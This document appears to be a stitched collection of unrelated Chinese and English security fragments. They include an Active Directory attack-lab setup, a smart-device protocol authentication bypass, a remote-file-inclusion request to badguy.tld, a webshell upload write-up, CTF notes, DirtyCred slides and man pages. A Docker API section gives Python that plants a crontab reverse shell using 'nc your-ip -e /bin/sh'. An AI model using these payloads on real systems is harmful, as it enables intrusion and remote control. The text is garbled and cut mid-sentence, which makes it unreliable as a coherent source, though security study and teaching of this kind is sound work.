依次按照以下步骤重复新建3个用户Jackma/Ponyma/RobinLi- Pony Ma PonyM 普通家庭Pony马是IT部门人 员同时也是Helpdesk安全 组的成员 VICTIMS-PC ADMINS-PC Robin Li RobinL 再赢一次Robin 李李是域管理理 员 ADMINS-PC AD域控制器器 以及添加Robin Li到域管理理员 或直接在域控服务器器下以administrator权限输入命令 net user JackM password123!@# /add /domain net user PonyM password456!@# /add /domain net user RobinL password789!@# /add /domain net group Domain Adminis RobinL /add /domain 最后创建了了三个账号以及一个安全组 对了了别忘记把Pony Ma加入HelpDesk安全组 右击Pony Ma属性->隶属于->添加->HelpDesk->确定 或直接在域控服务器器下以administrator权限输入命令 net group helpdesk PonyM /add /domain 我们的域管理理员Robin Li日常使用ADMINS-PC 其中HelpdeskPony Ma是其中一员可以管理理ADMINS-PC的计算机 搜索对应组 输入域账号密码确定 接着Jack Ma以及HelpDesk将被添加到他的个人终端电脑VICTIMS-PC管理理员权限 本次实验工具 1. 将在VICTIMS-PC电脑上安装以下工具文件存储于C:\Tools  Mimikatz: https://github.com/gentilkiwi/mimikatz/releases  PowerSploit: https://github.com/PowerShellMaﬁa/PowerSploit/releases  PsExec: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec  NetSess.exe: http://www.joeware.net/fr


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安全文本分析：

从 后 门 到 漏 洞   智 能 设 备 私 有 协 议 中 的 安 全 问 题 魏凡 绿盟科技 格物实验室 安全研究员 0 1 概述 0 2 0 3 0 4 私有协议逆向分析的几个关键点 某私有协议漏洞挖掘之旅 总结与建议 目录 0 1 概述 0 2 0 3 0 4 私有协议逆向分析的几个关键点 某私有协议漏洞挖掘之旅 总结与建议 目录 智能设备中的私有协议 私有协议一般来说指未文档化的协议格式未知一般具有以下特点  从功能上来讲一般用于运维管理/服务发现等功能  一般监听于TCP/UDP的大端口  多数作为服务端部分可以在厂商官网找到协议的客户端 私有协议的格式未知所以逆向分析较难因此公开的漏洞较少但一出现安全问题一般 影响都较为严重 私有协议的安全问题 0 1 概述 0 2 0 3 0 4 私有协议逆向分析的几个关键点 某私有协议漏洞挖掘之旅 总结 目录 header 魔数 版本号 操作码 长度域 校验和  body 长度域 数据部分  可能存在header+body的嵌套 私有协议的一般格式 协议入口点网络通信函数 recv/sendrecvfrom/sendto, recvmsg/sendmsg 协议分析入口点 还有一些容易忽略的地方  有些采用ssl连接ssl_read/ssl_write  recv也可用于接收udp的数据包recvfrom也可用于接收tcp数据包  有时候通信函数在应用的调用库中 调试与调试权限获取 获取调试权限的一般思路  利用设备自带的TELNET/SSH功能  利用设备硬件调试接口  修改设备固件增加调试后门  利用设备的已知漏洞  利用设备的未知漏洞 准备静态编译的小工具比较常用的有 busybox, gdbserver和tcpdump 拿到设备的调试权限整个漏洞挖掘工作就成功了一半 来自某不知名研究员 0 1 概述 0 2 0 3 0 4 私有协议逆向分析的几个关键点 某私有协议漏洞挖掘之旅 总结与建议 目录 本议题所提到的漏洞均已送报厂商并已修复 一个偶然的机会我们拿到了一个某厂商生产的智能设备其某个TCP端口使用了一个私 有协议该协议未文档化官网也未提供任何管理客户端  CyaSSL_read  单向认证 某厂商智能设备私有协议分析  找到协议入口点  跟踪数据流向  逆向分析 常规漏洞挖掘思路 主观考虑智能设备的常见协议UPNP协议接口的命令注入 MQTT协议未授权访问 非常规的私有协议漏洞挖掘思路 协议脆弱点容易出现漏洞的地方 非常规思路以发现漏洞为导向暂时不考虑格式先了解其功能然后对其脆弱点进 行重点突破 协议提供的功能 reboot restorefactory 协议认证逻辑 取某个全局变量作为初始字符串将该字符串进过三次处理最后和用户传入的一个串进行比较 第一次处理和两个特殊字符 串进行移位混淆后续两次处理都 是标准md5运算 通过md5算法中的4个链接变量来识别 协议认证逻辑分析 假设作为初始字符串的全局变量为admin将利用如下算法进行处理 1取admin字符串和两个固定字符串一起参与移位混淆操作得到新字符串 2将第一次变换得到的新字符串进行标准md5运算得到hash值 \x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3 3将第二次得到的hash值再次进行标准md5运算得到hash值 \x43\x44\x26\x76\xc7\x4a\xe5\x9f\x21\x9c\x2d\x87\xfd\x6b\xad\x52 将最后得到的hash值与用户传入进行比较若相等则认证成功 在调用认证函数之前有个函数将会给该全局变量赋值 是有趣的是这里将固定字符串admin拷贝到全局变量处 初始字符串的赋值 运维后门 传入固定字符串admin经过三次变换后的凭证 \x43\x44\x26\x76\xc7\x4a\xe5\x9f\x21\x9c\x2d\x87\xfd\x6b\xad\x52 即可完成认证过程控制设备重启/恢复出厂设置 用户我忘了设备的管理密码了怎么办 厂商IP告诉我一下我给你远程重置一下 用户666啊 协议的专利 功能  修改配置  重启  恢复出厂设置  固件更新 专利所有权厂商的第一类设备 从配置文件中读取web管理员密码作为原始字符串 初始字符串的获取 md5_digest(output, input, len) 运算长度len不能为0如果为0直接返回  传入md5_digest函数的长度参数为用户控制可设置为0  没有验证md5_digest函数的返回值直接将结果用于memcmp进行比较  参与memcmp的第一个参数被初始化为空  控制长度参数为0+凭据为空值16个\x00的请求包即可


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安全文本分析：

Web server botnets and hosting farms as attack platforms Gadi Evron  Beyond Security defcon 15 , 2007 About me Who I am.. What do I do.. Where do I work.. Regular malware Often Platform specific (Architecture, OS) Propagates by the use of: Vulnerabilities (web server, mail client, remote accessible service) Social engineering (user gullibility) Propagates randomly (++) Affects desktops (++) Web server malware Often Completely cross-platform (any web daemon supporting scripting languages) Propagates by the use of Google (and sometimes other search engines  "Powered by phpBB" ) Propagates from a pre-selected genetic pool (++) Affects servers (++) Which means Malware and Bots Web server malware is cross-platform and up to now infected an astounding number of web servers ready to be commanded in botnets. Attack platforms (lotsa web servers) Collocation facilities, ISP server farms, hosting providers, etc. Previous work PHP shells  generally explored File inclusion attacks (RFI)  Thoroughly explored R57shell analysed (SpamThru by Joe Stewart, SecureWorks  formerly LURHQ) Non other significant work done in this field up to a few months ago when this paper was written. New work Web server botnets and server farms as attack platforms (Kfir Damari, Noam Rathaus and myself. Virus Bulletin, February 1, 2007). Know your Enemy: Web Application Threats, Jamie Riden, Ryan McGeehan, Brian Engert, Michael Mueter. The Honeynet Project, February 7, 2007). The injection File inclusions are vulnerabilities in web applications which can allow an attacker to execute a script by including the file in an existing script, as an example by the use of the include() function in PHP. In some cases other types of vulnerabilities in web applications are also used, such as URL parsing code execution vulnerabilities, POST vulnerbailities and arbitrary file upload vulnerabilities. What an injection looks like The attack, in the form of an HTTP request: index.php?page=http://badguy.tld/ malware.cmd?cm


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

0x00前 某天测商业务时发现其中有个提供乐播放业务的资产正好有我想听的歌于是就有了这篇章 0x01信息收集 F12简单看下标信息环境: ServerSoft:IIS 7.5 CMS:JYMusic(ThinkPHP) 0x02开搞和碰壁 抱着试试看的态随便找了个资源件试了发解析漏洞没想到成功了那么现在只需要找到上传点就能getshell 了 常的编辑器 Ueditor/Umeditor Kindeditor ckeditor/ckfinder 程序上传点 头像/章/附件... 上传组件 标站开放注册登录后发现存在头像上传功能原以为直接可以搞定了结果却不尽意应该是次渲染 了 试了上传些次渲染后仍能执的Webshell后依然发现法正常getshell看样得放弃头像这个地了 0x03柳暗花明村 既然头像上传不通那么只能另寻出路分享乐功能被改成审核但是猜测接还是存在的 这通过fofa找到个功能正常的站点以下称为www.bbb.com 这个站点的分享乐功能是正常的 直接上传乐件 件正常上传但是没有返回路径emmm提交试试 wtf没有分类数据咋办祭出神器F12给select标签加个有value值的option 提示分享成功查看审核列表也有了编辑发现ID为23随便点进去个发现id为21 同时发现接可以获取乐上传路径替换为ID=23后取得路径 那么思路就来了把www.bbb.com的操作在www.aaa.com重现遍即可 直接把bbb.com上传乐件的请求移花接到aaa.com上burp改包host和cookie提交时改fileid 通过解析漏洞访问我们后缀名为MP3的webshell 此成功getshell


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安全文本分析：

# 常见加密算法和编码识别 ## 前言 在对数据进行变换的过程中除了简单的字节操作之外还会使用一些常用的编码加密算法因此如果能够快速识别出对应的编码或者加密算法就能更快的分析出整个完整的算法CTF 逆向中通常出现的加密算法包括base64TEAAESRC4MD5等 ## Base64 Base64 是一种基于64个可打印字符来表示二进制数据的表示方法转换的时候将3字节的数据先后放入一个24位的缓冲区中先来的字节占高位数据不足3字节的话于缓冲器中剩下的比特用0补足每次取出6比特因为 按照其值选择`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ `中的字符作为编码后的输出直到全部输入数据转换完成 通常而言 Base64 的识别特征为索引表当我们能找到 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ` 这样索引表再经过简单的分析基本就能判定是 Base64 编码 当然有些题目 base64 的索引表是会变的一些变种的 base64 主要 就是修改了这个索引表 ## Tea 在[密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6)中**微型加密算法**Tiny Encryption AlgorithmTEA是一种易于描述和[执行](https://zh.wikipedia.org/w/index.php?title=%E6%89%A7%E8%A1%8C&action=edit&redlink=1)的[块密码](https://zh.wikipedia.org/wiki/%E5%A1%8A%E5%AF%86%E7%A2%BC)通常只需要很少的代码就可实现其设计者是[剑桥大学计算机实验室](https://zh.wikipedia.org/wiki/%E5%89%91%E6%A1%A5%E5%A4%A7%E5%AD%A6)的[大卫惠勒](https://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E5%8D%AB%C2%B7%E6%83%A0%E5%8B%92&action=edit&redlink=1)与[罗杰尼达姆](https://zh.wikipedia.org/w/index.php?title=%E7%BD%97%E6%9D%B0%C2%B7%E5%B0%BC%E8%BE%BE%E5%A7%86&action=edit&redlink=1) 参考代码 ```c #include <stdint.h> void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0)  (v1 + sum)  ((v1>>5) + k1); v1 += ((v0<<4) + k2)  (v0 + sum)  ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2)  (v0 + sum)  ((v0>>5) + k3); v0 -= ((v1<<4) + k0)  (v1 + sum)  ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } ``` 在 Tea


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安全文本分析：

#include <cstdio> #include <cstdint> uint64_t poly = 0xC96C5795D7870F42; uint64_t table[256]; void generate_table() { for(int i=0; i<256; ++i) { uint64_t crc = i; for(unsigned int j=0; j<8; ++j) { // is current coefficient set? if(crc & 1) { // yes, then assume it gets zero'd (by implied x64 coefficient of dividend) crc >>= 1; // and add rest of the divisor crc = poly; } else { // no? then move to next coefficient crc >>= 1; } } table[i] = crc; } } uint64_t calculate_crc(uint8_t* stream, unsigned int n, uint64_t crc) { for(unsigned int i=0; i<n; ++i) { uint8_t index = stream[i]  crc; uint64_t lookup = table[index]; crc >>= 8; crc = lookup; } return crc; } char buf1[100] = ": You probably just want the flag. So here it is: CTF{dZXi----------PIUTYMI}. :"; char buf2[] = ": You probably just want the flag. So here it is: CTF{dZXi\xff\x9a\xc3\x25\x99\xee\xb2\x41--PIUTYMI}. :"; uint64_t wantcrc = 0x30d498cbfb871112; int main() { generate_table(); // Set dashes, so that: // wantcrc == calculate_crc(buf1, 80, 0); printf("%lx\n", calculate_crc((uint8_t*)buf2, 80, 0)); }


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安全文本分析：

# docker daemon api 未授权访问漏洞 参考链接 - http://www.loner.fm/drops/#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8 ## 漏洞环境 编译及启动漏洞环境 ``` docker compose build docker compose up -d ``` 环境启动后将监听2375端口 ## 漏洞复现 利用方法是我们随意启动一个容器并将宿主机的`/etc`目录挂载到容器中便可以任意读写文件了我们可以将命令写入crontab配置文件进行反弹shell ```python import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) ``` 写入crontab文件成功反弹shell ![](1.png)


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安全文本分析：

Wesley McGrew Assistant Research Professor Mississippi State University Department of Computer Science & Engineering Distributed Analytics and Security Institute Instrumenting Point-of-Sale Malware A Case Study in Communicating Malware Analysis More Effectively Introduction  The pragmatic and unapologetic offensive security guy  Breaking things  Reversing things  Mississippi State University - NSA CAE Cyber Ops  Enjoying my fourth year speaking at DEF CON The Plan  In general:  Adopt better practices in describing and demonstrating malware capabilities  Proposal to supplement written analyses with illustration that uses the malware itself  What well spend a good chunk of todays session doing:  Showing off some cool instrumented POS malware  Talk about how you can do the same Scientiﬁc Method (the really important bits)  Reproducibility  Reasons:  Verifying results  Starting new analysis where old analysis left off  Education of new reverse engineering specialists  IOC consumers vs. fellow analysts as an audience Whats often missing?  Sample info  Hashes  Availability  Procedure  Subverting malware- speciﬁc countermeasures  Context  Redacted info on compromised hosts and C2 hosts  Internal points of reference  Addresses of functionality/data being discussed Devils Advocate: Why its not there  Fellow analysts and students are not the target audience of many published analyses  Were left to pick through for technically useful info  Added effort - Its a lot of work to get your internal notes and tools ﬁt for outside consumption  Analysis-consumer safety - preventing the reader for inadvertently infecting  Client conﬁdentiality - Compelling. May be client-speciﬁc data in targeted malware  Competitive advantage - public relations, advertising services, showcase of technical ability  Perhaps not in our best interest to allow someone to further it, do it better, or worse: prove it wrong. Whats Being Done Elsewhere?  Reproducibility and veriﬁability are a big deal in any aca


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# Bad Route * Category: Web * 200 Points * Solved by the JCTF Team ## Description > Our company belive that if we go on the bad route of environment pollution we have a direct effect on human health. > > However, some energy companies that are destroying the planet are tried to takedown our website. > > Your mission is to make sure that our new website is secure. ## Solution The attached website is a simple site with three pages: A home page, an "about" page and a login page. No obvious vulnerabilities related to the login page, so we dive into the sources: ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>The Parllel Ocean</title> <base href="/"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" type="image/x-icon" href="favicon.ico"> <script>window.global = window;</script> <link rel="stylesheet" href="styles.3ff695c00d717f2d2a11.css"></head> <body> <app-root></app-root> <script src="runtime.acf0dec4155e77772545.js" defer></script><script src="polyfills.35a5ca1855eb057f016a.js" defer></script><script src="main.b8c73a19106d54f04466.js" defer></script></body> </html> ``` This is a React application where most of the logic resides in the Javascript code. So, we dive deeper into the Javascript sources. Scanning through `main`, we encounter the following code: ```javascript class t { constructor() {} connect() { new WebSocket("wss://securityocean.corp.local/admin/log") } } ``` This websocket looks interesting. We couldn't find a way to trigger this flow via the website, but we can trigger it manually too via the Javascript Developer Console: ```javascript var ws = new WebSocket("wss://securityocean.corp.local/admin/log"); ws.onopen = function () { console.log('Connection opened'); }; ws.onmessage = function (evt) { console.log("Message received = " + evt.data); }; ws.onclose = function () { console.log("Connection closed"); }; ``` Output: ``` GET wss://securityocean.corp.local/admin/log Firefox cant establ


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TRUNCATE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 truncate \- 缩减或扩展文件尺寸至指定大小 .SH 概述 \fBtruncate\fP \fI\,选项\/\fP... \fI\,文件列表\/\fP... .SH 描述 .\" Add any additional description here .PP 将文件缩减或扩展至指定大小 .PP 如果指定文件不存在则创建 .PP 如果指定文件超出指定大小则超出的数据将丢失如果指定文件小于指定大小则将用零字节填充扩展部分空洞 .PP 必选参数对长短选项同时适用 .TP \fB\-c\fP, \fB\-\-no\-create\fP 不要创建任何文件 .TP \fB\-o\fP, \fB\-\-io\-blocks\fP 将给定大小的数字作为 IO 块数处理而非作为字节数处理 .TP \fB\-r\fP, \fB\-\-reference\fP=\fI\,参考文件\/\fP 以所指定的文件大小作为基准 .TP \fB\-s\fP, \fB\-\-size\fP=\fI\,尺寸值\/\fP 使用给定尺寸值设定或调整文件大小 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 所指定的尺寸值参数是一个整数后面可以跟一个单位例如10K 指 10*1024可用的单位有 KMGTPEZY1024 的幂以及 KBMB...1000 的幂也可以使用二进制前缀KiB=KMiB=M以此类推 .PP 给定尺寸值也可以使用下面给出的字符之一前缀进行修饰\&'+' 指扩展数值'\-' 指缩减数值'<' 值最大值'>' 指最小值 \&'/' 修改大小为指定数值的倍数向下舍入'%' 修改大小为指定数值的倍数向上舍入 .SH 作者 由 Padraig Brady 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \fBdd\fP(1), \fBtruncate\fP(2), \fBftruncate\fP(2) .PP .br 完整文档请见 <https://www.gnu.org/software/coreutils/truncate> .br 或者在本地使用 info \(aq(coreutils) truncate invocation\(aq


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Cautious! A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe #BHUSA @BlackHatEvents Zhenpeng Lin, Yuhang Wu, Xinyu Xing Northwestern University #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ Who Are We Zhenpeng Lin PhD Student zplin.me Xinyu Xing Associate Professor xinyuxing.org Yuhang Wu PhD Student yuhangw.blog #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ Recap About Dirty Pipe  CVE-2022-0847  An uninitialized bug in Linux kernels pipe subsystem  Affected kernel v5.8 and higher  Data-only, no effective exploitation mitigation  Overwrite any files with read permission  Demonstrated LPE on Android #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ What We Learned  Data-only is powerful  Universal exploit  Bypass CFI (enabled in Android kernel)  New mitigation required #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ What We Learned  Data-only is powerful  Universal exploit  Bypass CFI (enabled in Android kernel)  New mitigation required  Dirty Pipe is not perfect  Cannot actively escape from container  Not a generic exploitation method #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ Introducing DirtyCred  High-level idea  Swapping Linux kernel Credentials  Advantages  A generic exploitation method, simple and effective  Write a data-only, universal (i.e., Dirty-Pipe-liked) exploit  Actively escape from container #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ Comparison with Dirty Pipe  A generic exploitation method?  Write a data-only, universal exploit?  Attack with CFI enabled (on Android)?  Actively escape from container?  Threat still exists? Dirty Pipe DirtyCred #BHUSA @BlackHatEvents #DirtyCred Zhenpeng Lin @Markak_ Kernel Credential  Properties that carry privilege information in kernel  Defined in kernel documentation  Representation of privilege and capability  Two main types: task credentials and open file credentials  Security checks act on credential objects Source: https://www.kernel.org/doc/D


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The Death Envelope: A Medieval Solution to a 21st Century Problem Matt Yoder August 8-10, 2008, Las Vegas, Nevada Who am I?  Matt Yoder, acronym@acrønym.com  Mostly a guy who believes in the concept, and wants to spread the word.  Made a promise to a friend, that if I couldnt find a good resource, Id make it.  Ive given the topic a lot of thought.  Undeniably a lover of fine pens and paper, and a pencrafter. The Death Envelope: A Medieval Solution to a 21st Century Problem Defcon 16, August 8-10, 2008 Matt Yoder Todays Goals 1. What is a death envelope, and what problem does it solve? 2. Who should have one, or ask for one? 3. What should be in a death envelope? 4. Security options for a death envelope. 5. Varied forms of solutions. The Death Envelope: A Medieval Solution to a 21st Century Problem Defcon 16, August 8-10, 2008 Matt Yoder What is a Death Envelope?  In todays high-tech society, far too much important information is stored purely in individuals brains.  A record of this information should exist, in case of ones incapacitation or extinction.  This record must be highly-secured, and tamper-resistant, and evident. The Death Envelope: A Medieval Solution to a 21st Century Problem Defcon 16, August 8-10, 2008 Matt Yoder How Big a Problem is it?  High-tech users have lots of passwords.  First poll I found shows an average of 40 passwords, 15 of which can be considered sensitive. Source: http://www.securitymetrics.org/content/Wiki.jsp?page=Welcome_blogentry_050208_1 Source: http://management.silicon.com/government/0,39024677,39126737,00.htm The Death Envelope: A Medieval Solution to a 21st Century Problem Defcon 16, August 8-10, 2008 Matt Yoder Who Should Have a Death Envelope?  In short, anyone with information they wish to be available after their death.  An argument could be made that anyone with a computer will have some reason for a Death Envelope  Specifically:  Those with high-risk jobs or activities. Police, Fire, Military. Skydivers, extreme sport ent


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Searching for Malware: A Review of Attackers Use of Search Engines to Lure Victims Paul Judge David Maynor The Problem Sites like Twitter, Yahoo!, Bing and Google all have some form of popular/trending search terms. These terms can be coopted by markets and malware authors to point to their own wares. The sites can be used for spam, driveby malware installs and phishing. DEMO: Examples of current terms and sites that have fallen prey to SEO poisoning. How They Do It A brief overview and example of previous term hijacking techniques. Current ways to find the terms. Flooding Web sites and social networks with specific terms and links. AndWe have malware! DEMO: A successful SEO poison. How Its Detected Lists, Lists and more lists White Lists Black Lists SPAM Lists Vendor Proprietary Databases These dont always wor Average time between infection and a URL showing up on a list could be days at best, weeks at worst. DEMO: List lag Code analysis (All these sites have something in common; they are trying to hide their true intention.) Code analysis of the Webpage including any JavaScript found can reliable detect a suspicious site DEMO: JavaScript analysis of a bad site Correlation How to tie this all together Gaps in coverage: How can the bad guys still slip through? Future of Search Engine Malware Attacker Countermeasures Better Obfuscation Using botnets and social networks to create an instant credible account More targeted attacks: spear phishing for SEO poisoning How Search Engines should respond  interactive discussion THANK YOU! http://www.barracudalabs.com/


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Defcon Comedy Jam 2 The FAIL Strikes Back We are: David Mortman aka Arthur Rich Mogull aka Crash Chris Hoff aka FAIL Robert "RSnake" Hansen aka RSnake Larry Pesce aka HaxorTheMatrix David Maynor aka Goat? What Goat?


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gzexe === 用来压缩可执行文件 ## 补充说明 **gzexe命令** 用来压缩可执行文件压缩后的文件仍然为可执行文件在执行时进行自动解压缩当您去执行被压缩过的执行文件时该文件会自动解压然后继续执行和使用一般的执行文件相同这个命令也可以看成是gunzip命令的一个扩展 ### 语法 ```shell gzexe(选项)(参数) ``` ### 选项 ```shell -d解压缩被gzexe压缩过的可执行文件 ``` ### 参数 文件指定需要压缩的可执行文件


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Fuzzing AOSP for non-crash bugs Elphet & Guang Gong @360 Alpha Team About us Elphet Security Researcher (Intern) of 360 Alpha Team Focus on Android system and application security Guang Gong Senior Security Researcher and Team Leader of 360 Alpha Team Focus on Android/Chrome Introduction  Fuzzers catch memory corruption bugs via crashes. When a bug doesnt result in a crash, then it will be ignored.  Memory debugging tool also known as a runtime debugger is a tool for finding software memory problem during runtime. They increase the crash rate of a program by reporting errors positively. (e.g. ASAN, MSAN, TSAN)  Some kinds of bugs cannot be uncovered even with the help of sanitizers.  e.g. Intra-object-overflow  We built a tool based on LLVM to help our fuzzers find ~30 vulnerabilities in AOSP Agenda Fuzzers and Sanitizers Intra-object-overflow Bugs LLVM and IOODetector Case study Related Work and Discussion Fuzzers and Sanitizers Fuzzing is proved to be an effective way to find memory corruption bugs. A general workflow of a fuzzer Seed selector Mutator/ Generator Target Program Monitor/ Filter Init seed corpus Report crash Discarded boring test cases Interesting testcases Real Vulnerabilities Fuzzers Crash is a necessary signal for identifying a vulnerability in general purpose fuzzers Seed selector Mutator/ Generator Target Program Monitor / Filter Init seed corpus Report crash Discarded boring test cases Interesting testcases Real Vulnerabilities Crash handlers in popular fuzzers Crash handler in AFL Crash handler in honggFuzz Crash handler in libFuzzer Memory debugging tools (Sanitizers Address Sanitizer Use after free Heap Buffer overflow Stack Buffer overflow Global buffer overflow Use after return Use after scope Initialization order bugs  Leak Sanitizer Memory leaks  Memory Sanitizer  use of uninitialized memory  Thread Sanitizer  Data races and dead locks  Undefined Behavior Sanitizer   Address Sanitizer Founded Bugs Sanitizers help fuzzers find more bugs b


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Keren Elazari aka @K3r3n3 www.K3r3n3.com A Confession TAKE THE RED PILL? @K3r3n3 @K3r3n3 Source : 25 Years Of Vulnerabilities: 1988-2012 Sourcefire Research Report Barnaby Jack, 1977-2013 Photo: IOACTIVE RESEARCH What Matters! https://www.iamthecavalry.org/ Dont Keep Your Bugs To Yourself www.bugcrowd.com/list-of-bug-bounty-programs The Internet Bug Bounty www.hackerone.com/ibb AFFORD NOT TO Botnet Phishing Campaigns Spam Denial of Service Image by Chris Halderman CC BY 3.0 Empower The Masses Image by Scoobay CC BY-NC-SA 2.0 One Million Security Professionals Needed! Source : Cisco 2014 Annual Security Report Image by Scoobay CC BY-NC-SA 2.0 Image by R. Kikuo Johnson for NYT, September 2013 FEAR UNCERTAINTY DOUBT Image: The Economist Fight FUD With FACTS INFLUENCE THE INPUT RIGHT NOW Research What Matters Dont Keep Your Bugs To Yourself Collaborate & Share Empower The Masses Stop The Spread Of FUD Illustration by François Baranger


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Keren Elazari aka @K3r3n3 www.K3r3n3.com @K3r3n3 TAKE THE RED PILL? Source : 25 Years Of Vulnerabilities: 1988-2012 Sourcefire Research Report Solution: Secure What Matters! Life Rights CritInfr IP PII CCN Counter- measures Situational Awareness Operational Excellence Defensible Infrastructure REPLACEABILITY Original Model by Joshua Corman https://www.iamthecavalry.org/ Solution: Dont Keep Your Bugs To Yourself https://bugcrowd.com/list-of-bug-bounty-programs The Internet Bug Bounty https://hackerone.com/ibb Solution: Stop, Collaborate and Share Image by Chris Halderman CC BY 3.0 Solution : Empower The Masses Image by Scoobay CC BY-NC-SA 2.0 Image: Crobis, The Economist Solution: Mind The Gap Secure What Matters Dont Keep Your Bugs To Yourself Collaborate & Share Empower The Masses Stop The Spread Of FUD Bonus Points: One Million Security Professionals Needed! Source : Cisco 2014 Annual Security Report


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# 流密码 流密码一般逐字节或者逐比特处理信息一般来说 - 流密码的密钥长度会与明文的长度相同 - 流密码的密钥派生自一个较短的密钥派生算法通常为一个伪随机数生成算法 需要注意的是流加密目前来说都是对称加密 伪随机数生成算法生成的序列的随机性越强明文中的统计特征被覆盖的更好 流密码加解密非常简单在已知明文的情况下可以非常容易地获取密钥流 流密码的关键在于设计好的伪随机数生成器一般来说伪随机数生成器的基本构造模块为反馈移位寄存器当然也有一些特殊设计的流密码比如 RC4


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.\" Man page contributed by Dirk Eddelbuettel <edd@debian.org> .\" and released under the GNU GPL .TH OCTAVE-CONFIG 1 "19 February 2003" "GNU Octave" .SH NAME octave-config - 检索 GNU Octave 组件和库信息 .SH "SYNOPSIS 总览" .B octave-config .B [--m-site-dir] .B [--oct-site-dir] .B [-v|--version] .B [-h|-?|--help] .SH "DESCRIPTION 描述" .PP \fIoctave-config\fP 是用于为 .BR octave (1) 获取 .oct 和 .m 文件的目录信息的工具 .SH "OPTIONS 选项" \fIoctave-config\fP 接受下列选项 .TP 8 .B \--m-site-dir 显示本地的或 site-specific 的.m 脚本文件所在的主目录 .TP 8 .B \--oct-site-dir 显示本地的或 site-specific 的.oct 动态链接库所在的主目录 .TP 8 .B \-v|\-\-version 显示 .BR octave (1) 的版本信息 .TP 8 .B \-h|-?|--help 显示 \fIoctave-config\fP 的帮助页面 .SH AUTHOR John W. Eaton <jwe@bevo.che.wisc.edu> This manual page was contributed by Dirk Eddelbuettel <edd@debian.org> for the Debian GNU/Linux distribution but may be used by others.


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1 Overview What is Razorback? 3 Razorback Is  An Open Source framework (GPLv2) to enable advanced processing of data and detection of events  Able to get data as it traverses the network  Able to get data after its received by a server  Able to perform advanced event correlation  Our answer to an evolving threat landscape 4 The Challenge is Different  Attacks have switched from server attacks to client attacks  Common attack vectors are easily obfuscated  Scripting languages are infinitely variable  Compression obscures attack signatures  And more!  File formats are made by insane people  Back-channel systems are increasingly difficult to detect 5 The Problem With Real-Time  Inline systems must emulate the processing of thousands of desktops  Detection of many backchannels is most successful with statistical evaluation of network traffic  Deep file inspection requires too much time to process! 6 Fill the Gap  A system is needed that can handle varied detection needs  A system is needed that extensible, open and scalable  A system is needed that facilitates incident response, not just triggers it Architecture What makes it tick? 8 Framework Goals  Provide entry for any arbitrary data type  Provide routing of input data to any number of relevant data processors  Provide alerting to any framework-capable system  Provide verbose, detailed logging  Make intelligent use of all data 9 Razorback is comprised of  A collection of elements working together  Each element performs a discrete task  Elements are tied together via the Dispatcher  Nugget types:  Correlation  Defense Update  Workstation  Data Collection  Data Detection/Analysis  Output  Intelligence 10 The System Dispatcher Collection Nugget Detection Nugget Detection Nugget Detection Nuggets Database Output Nugget Output Nugget Output Nuggets Collection Nugget Collection Nuggets Other Types of Nuggets 11 The Dispatcher  Handles all communication between nuggets  Handles database interactions  Database driven  APIs a


